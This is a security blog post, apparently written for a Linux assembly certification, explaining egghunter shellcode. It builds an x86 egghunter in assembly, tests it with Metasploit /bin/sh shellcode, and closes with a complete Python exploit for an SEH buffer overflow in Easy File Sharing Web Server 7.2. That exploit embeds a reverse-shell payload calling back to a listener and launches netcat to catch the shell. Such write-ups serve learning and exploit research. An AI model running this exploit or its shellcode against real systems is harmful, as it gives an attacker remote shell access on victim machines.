Amonsec

It's all about digital security.

A simple blog where you can find different things about digital security.

Egghunter with Intel x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-975
Assignment number: #3
Github repository: https://github.com/amonsec/SLAE/tree/master/assignment-3

This post is part of my SLAE series.

You can find the previous post at this address: https://amonsec.net/training/linux-assembly-x86/2018/linux-tcp-reverse-shell-from-scratch-with-intel-x86-assembly

 

Introduction

In this post we will discuss this weird thing called egghunter, what is his utility and in which cases? For that, this post is going to be split-ed in three parties.

  • Egghunter from scratch;
  • Egghunter?! what da f*ck and
  • Egghunter in a Windows exploit

 

What you need in order to reproduce the process:

  • A Linux x86 system (Kali Linux in my case)
  • Your brain (and maybe a cup a coffee or eight)

 

If you want to recreate for scratch the windows exploit:

 

Egghunter?! what da f*ck.

An egghunter is a sequence of instructions that can parse the stack and the heap in order to find the location of a given pattern and jump right after it to redirect the execution flow. There are different egghunters all around the Web, but here, we will create a basic egghunter that use the access Linux system call

 

However, why an egghunter can be useful, and why we need to learn how to use it?

Sometimes, in exploit development you don’t have enough place after smashing the stack and you need to find a place where you can put your shellcode and redirect the execution flow at the beginning of this malicious code in order to execute it. With only few bytes, in most cases, no more than 40 bytes, you can inject your egghunter and put in any other place you eight bytes pattern followed by your shellcode, after that, you only need to wait.

The egghunter is going to search in the stack and the heap for our eight byte pattern and then, when he found it, jump to him.
For this reason, egghunters are highly use in exploit development. This a must have technique.

 

Virtual Address Space

First, let me show you this awesome picture from Gustavo Duarte. This is, one of the best if not the best post and picture to understand the Linux memory layout and in our case the memory parsing.

Note, this is for x86 (32 bits) architecture.

egghunter_with_intel_x86_vas.png
 

How egghunter works?!

Two major type of egghunter exist:

  • Byte crawling egghunter;
  • Page crawling egghunter.

The Byte crawling egghunter start from the top of the stack and parse every single byte until he found the eight byte pattern, but if the egghunter try to parse an unmapped memory area we will have a segmentation fault (SIGSEV).

While, the page crawling egghunter, first check if the memory page (4096 bytes) is usable or not. If yes, search for the pattern, else move in another memory page. It’s easy to understand that the second one, is much more robust than the first one.

So, our egghunter will do a string comparison for each byte in usable memory pages and will redirect the execution flow if the result of the string comparison is not null.

 

Egghunter from scratch

All this work is based on the awesome documentation of Skape.

First, we need to initialise all registers that we will use, such as EDX and ECX. After that, we will create two procedures that they will increment EDX with one memory page (4096 bytes in our case) or increment EDX by one. Note, we use the cld instruction to be sure the direction flag (DF) is unset since we will use later the scasd instruction.

So, the beginning of the code should be looking like that:

global _start

section .text
_start:
   cld                 ; Clear the direction flag  
   mov ecx, ecx        ; zeroed ECX
   mov edx, edx        ; zeroed EDX

inc_page:
   or edx, 0xfff       ; Next memory page (4096 bytes)

inc_one:
   inc edx             ; EDX = EDX + 1

Then, we are going to find if the current memory page is usable. For that, we can use the access system call that are checking for user’s permissions for a file and in our case the currently executed binary.

EAX will point to the system call number and EBX to the memory page content.

page_check:
   lea ebx, [edx + 4]  ; First bytes if the memory page
   push byte 0x21      ;
   pop eax             ; #define __NR_access 33
   int 0x80            ; Interruption

When the access subroutine try to access to the given memory page first bytes, but can’t use it due to an invalid memory page, an EFAULT error is throw.

That means, we try to access to a place outside the memory space usable by our binary. So, if the result of the access subroutine is equal to EFAULT (0xfffffffe = -14) we will increment the EDX register by one, else we are in an usable memory page.

cmp al, 0xf2        ; Is EFAULT ?
jnz inc_page        ; Inc memory page

OK, now, we are ready to search in an usable memory page our pattern. The easiest way is put into EAX our pattern, and to use the scasd instruction, which is really good explained here.

The scasd instruction will return zero if the value of the EDI register and EAX are equal, else, return one if the value of the EDI register and the EAX register are not equal. With this simple logic we can create a loop that will run until we found our pattern.

Here, EAX contain our pattern and EDI the string that we want to compare to EAX.

is_egg:
   mov eax, 0x416d6f6e  ; Amon | our pattern
   mov edi, edx         ; 
   scasd                ; Compare EAX and EDI
   jnz inc_one          ; Not good? Inc EDX
   scasd                ; Compare EAX and EDI
   jnz inc_one          ; Not good? Inc EDX

matched:
   jmp edi              ; Jump to our shellcode

Note, in order to have a more reliable egghunter and to avoid the egghunter to redirect the execution flow into himself, our pattern, before our shellcode, is doubled, that’s why we use two times the scasd instruction.

Finally we have something like that.

global _start

section .text
_start:
    cld
    xor ecx, ecx
    xor edx, edx

inc_page:
    or dx, 0xfff

inc_one:
    inc edx

page_check:
    lea ebx, [edx+0x4]
    push byte 0x21
    pop eax
    int 0x80
    cmp al, 0xf2
    jz inc_page

is_egg:
    mov eax, 0x416d6f6e ; Amon
    mov edi, edx
    scasd
    jnz inc_one
    scasd
    jnz inc_one

matched:
    jmp edi

We can compile the code and extract the shellcode

amonsec@anakin:/opt/slae/assignment-3$ nasm -felf32 egghunter.asm
amonsec@anakin:/opt/slae/assignment-3$ ld -melf_i386 egghunter.o -o egg
amonsec@anakin:/opt/slae/assignment-3$ objdump -d ./egg |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xfc\x31\xc9\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x6e\x6f\x6d\x41\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
amonsec@anakin:/opt/slae/assignment-3$

Now, let’s create a simple shellcode with the Metasploit framework.

amonsec@anakin:/opt/slae/assignment-3$ msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b '\x00' -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of c file: 319 bytes
unsigned char shellcode[] = 
"\xba\xd9\xae\x6c\xa2\xda\xd8\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x0b\x31\x50\x15\x03\x50\x15\x83\xc0\x04\xe2\x2c\xc4\x67\xfa"
"\x57\x4b\x1e\x92\x4a\x0f\x57\x85\xfc\xe0\x14\x22\xfc\x96\xf5"
"\xd0\x95\x08\x83\xf6\x37\x3d\x9b\xf8\xb7\xbd\xb3\x9a\xde\xd3"
"\xe4\x29\x48\x2c\xac\x9e\x01\xcd\x9f\xa1";

We have everything ready, we can now create a C file that will use our egghunter in order to find and execute our Metasploit’s shellcode.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned char egghunter[] = \
"\x31\xc9\x31\xd2\x66\x81\xca\xff\x0f\x42"
"\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2"
"\x74\xee\xb8"
"\x6e\x6f\x6d\x41" // Amon
"\x89\xd7\xaf"
"\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char shellcode[] = \
"\x6e\x6f\x6d\x41\x6e\x6f\x6d\x41" // AmonAmon
"\xba\xd9\xae\x6c\xa2\xda\xd8\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x0b\x31\x50\x15\x03\x50\x15\x83\xc0\x04\xe2\x2c\xc4\x67\xfa"
"\x57\x4b\x1e\x92\x4a\x0f\x57\x85\xfc\xe0\x14\x22\xfc\x96\xf5"
"\xd0\x95\x08\x83\xf6\x37\x3d\x9b\xf8\xb7\xbd\xb3\x9a\xde\xd3"
"\xe4\x29\x48\x2c\xac\x9e\x01\xcd\x9f\xa1";

void main(void){
    int egghunterLenght = strlen(egghunter);
    int shellcodeLenght = strlen(shellcode);
    char memory[shellcodeLenght + 50];

    printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
    printf("Shellcode Length:  %d\n", strlen(shellcode));

    strcpy(memory, shellcode);          // put shellcode in stack

    int (*ret)() = (int(*)())egghunter;
    ret();
}

Let’s compile this one.

amonsec@anakin:/opt/slae/assignment-3$ gcc -fno-stack-protector -z execstack exploit.c -o exploit
amonsec@anakin:/opt/slae/assignment-3$

Note, here I use strace in order to see the parsing process.

amonsec@anakin:/opt/slae/assignment-3$ strace ./exploit
egghunter_with_intel_x86_strace.gif
 

Egghunter in a Windows exploit

A Few times ago, I started to learn Windows’ exploits development and I quickly learned the usefulness of egghunters. I let a really well known script called mona.py did it for me.

And this following code is one of my Windows’ exploit that I built from scratch:

#!/usr/bin/env python
import sys
import socket
import struct
import subprocess

#----------------------------------------------------------------------------------#
# Exploit: Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter)        #
# OS Tested: XP PRO SP3 (Professional); Windows 7 SP1                              #
# Author: Amonsec                                                                  #
# Software: https://www.exploit-db.com/apps/                                       #
#                   60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe                  #
#----------------------------------------------------------------------------------#
# Thanks:                                                                          #
#       Corelan    (https://www.corelan.be/)                                       #
#       b33f       (https://www.fuzzysecurity.com/)                                #
#       Ch3rn0byl  (http://ch3rn0byl.com/)                                         #
#----------------------------------------------------------------------------------#
if len(sys.argv) < 3:
    print '[*] Easy File Sharing v7.2 exploit'
    print '[*] Usage: {} <ip addr> <port>'.format(sys.argv[0])
    sys.exit(1)
else:
    rhost = sys.argv[1]
    rport = int(sys.argv[2])

#-------------------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -n 20 -f python -v shellcode -b '\x00\x20\x25\x2b\x2f\x5c' #
#-------------------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\x4a\x41\x41\x93\xfd\x91\x99\x41\x3f\xf5\xd6\xd6"
shellcode += "\x37\x90\x49\x90\x9b\xf9\x27\x98\xbf\x83\xd1\x55"
shellcode += "\xd1\xd9\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"
shellcode += "\x31\x78\x12\x83\xe8\xfc\x03\xfb\xdf\xb7\x24\x07"
shellcode += "\x37\xb5\xc7\xf7\xc8\xda\x4e\x12\xf9\xda\x35\x57"
shellcode += "\xaa\xea\x3e\x35\x47\x80\x13\xad\xdc\xe4\xbb\xc2"
shellcode += "\x55\x42\x9a\xed\x66\xff\xde\x6c\xe5\x02\x33\x4e"
shellcode += "\xd4\xcc\x46\x8f\x11\x30\xaa\xdd\xca\x3e\x19\xf1"
shellcode += "\x7f\x0a\xa2\x7a\x33\x9a\xa2\x9f\x84\x9d\x83\x0e"
shellcode += "\x9e\xc7\x03\xb1\x73\x7c\x0a\xa9\x90\xb9\xc4\x42"
shellcode += "\x62\x35\xd7\x82\xba\xb6\x74\xeb\x72\x45\x84\x2c"
shellcode += "\xb4\xb6\xf3\x44\xc6\x4b\x04\x93\xb4\x97\x81\x07"
shellcode += "\x1e\x53\x31\xe3\x9e\xb0\xa4\x60\xac\x7d\xa2\x2e"
shellcode += "\xb1\x80\x67\x45\xcd\x09\x86\x89\x47\x49\xad\x0d"
shellcode += "\x03\x09\xcc\x14\xe9\xfc\xf1\x46\x52\xa0\x57\x0d"
shellcode += "\x7f\xb5\xe5\x4c\xe8\x7a\xc4\x6e\xe8\x14\x5f\x1d"
shellcode += "\xda\xbb\xcb\x89\x56\x33\xd2\x4e\x98\x6e\xa2\xc0"
shellcode += "\x67\x91\xd3\xc9\xa3\xc5\x83\x61\x05\x66\x48\x71"
shellcode += "\xaa\xb3\xdf\x21\x04\x6c\xa0\x91\xe4\xdc\x48\xfb"
shellcode += "\xea\x03\x68\x04\x21\x2c\x03\xff\xa2\x93\x7c\xa1"
shellcode += "\xb2\x7c\x7f\x5d\xc9\x15\xf6\xbb\x47\xf6\x5e\x14"
shellcode += "\xf0\x6f\xfb\xee\x61\x6f\xd1\x8b\xa2\xfb\xd6\x6c"
shellcode += "\x6c\x0c\x92\x7e\x19\xfc\xe9\xdc\x8c\x03\xc4\x48"
shellcode += "\x52\x91\x83\x88\x1d\x8a\x1b\xdf\x4a\x7c\x52\xb5"
shellcode += "\x66\x27\xcc\xab\x7a\xb1\x37\x6f\xa1\x02\xb9\x6e"
shellcode += "\x24\x3e\x9d\x60\xf0\xbf\x99\xd4\xac\xe9\x77\x82"
shellcode += "\x0a\x40\x36\x7c\xc5\x3f\x90\xe8\x90\x73\x23\x6e"
shellcode += "\x9d\x59\xd5\x8e\x2c\x34\xa0\xb1\x81\xd0\x24\xca"
shellcode += "\xff\x40\xca\x01\x44\x70\x81\x0b\xed\x19\x4c\xde"
shellcode += "\xaf\x47\x6f\x35\xf3\x71\xec\xbf\x8c\x85\xec\xca"
shellcode += "\x89\xc2\xaa\x27\xe0\x5b\x5f\x47\x57\x5b\x4a"

egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'
egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'
egghunter += '\xea\xaf\x75\xe7\xff\xe7'

buffer = ''
buffer += '\x41' * 2000
buffer += 'hivehive' 
buffer += '\x90' * 20
buffer += shellcode
buffer += '\x90' * (4013 - 2000 - 8 -20 - len(shellcode))
buffer += egghunter
buffer += '\x90' * 16
buffer += struct.pack('<L', 0x909006eb)
buffer += struct.pack('<L', 0x100194b2)
buffer += '\xeb\xc4'
buffer += '\x90' * (5500 - 4061 - 8 - 2)

payload = 'GET {} HTTP/1.0\r\n\r\n'.format(buffer)

try:
    print '[*] Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter)'
    print '[*] Target: {}:{}'.format(rhost, rport)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    print '[*] Connection established'

    print '[*] Send exploit: {} bytes'.format(len(buffer))
    s.send(payload)
    s.close

    print "\n[*] Brrrrrraaaaah! Time for a shell?! huhg"
    subprocess.call(['nc -lnvvp 31337'], shell=True)
except:
    print "[-] Host unreachable"
sys.exit(1)

Schema of the exploit’s structure:

The Stack:                                                       +----------------> 
    [AA..AA] [NOPs + shellcode] [NOPs] [egghunter] [NOPs]   [nseh]   [seh]   [\xeb\xc4] [NOPs]
     +---------------------------------------------------------------->  |           | 
              ^                         ^       |               <--------+           | 
              |                         |-------|------------------------------------+
              +---------------------------------+

Our egghunter (from Immunity Debugger):

egghunter_with_intel_x86_egghunter.png

Our shellcode (from Immunity Debugger):

egghunter_with_intel_x86_shellcode.png

Finally:

egghunter_with_intel_x86_windows_exploit.gif
 
 

break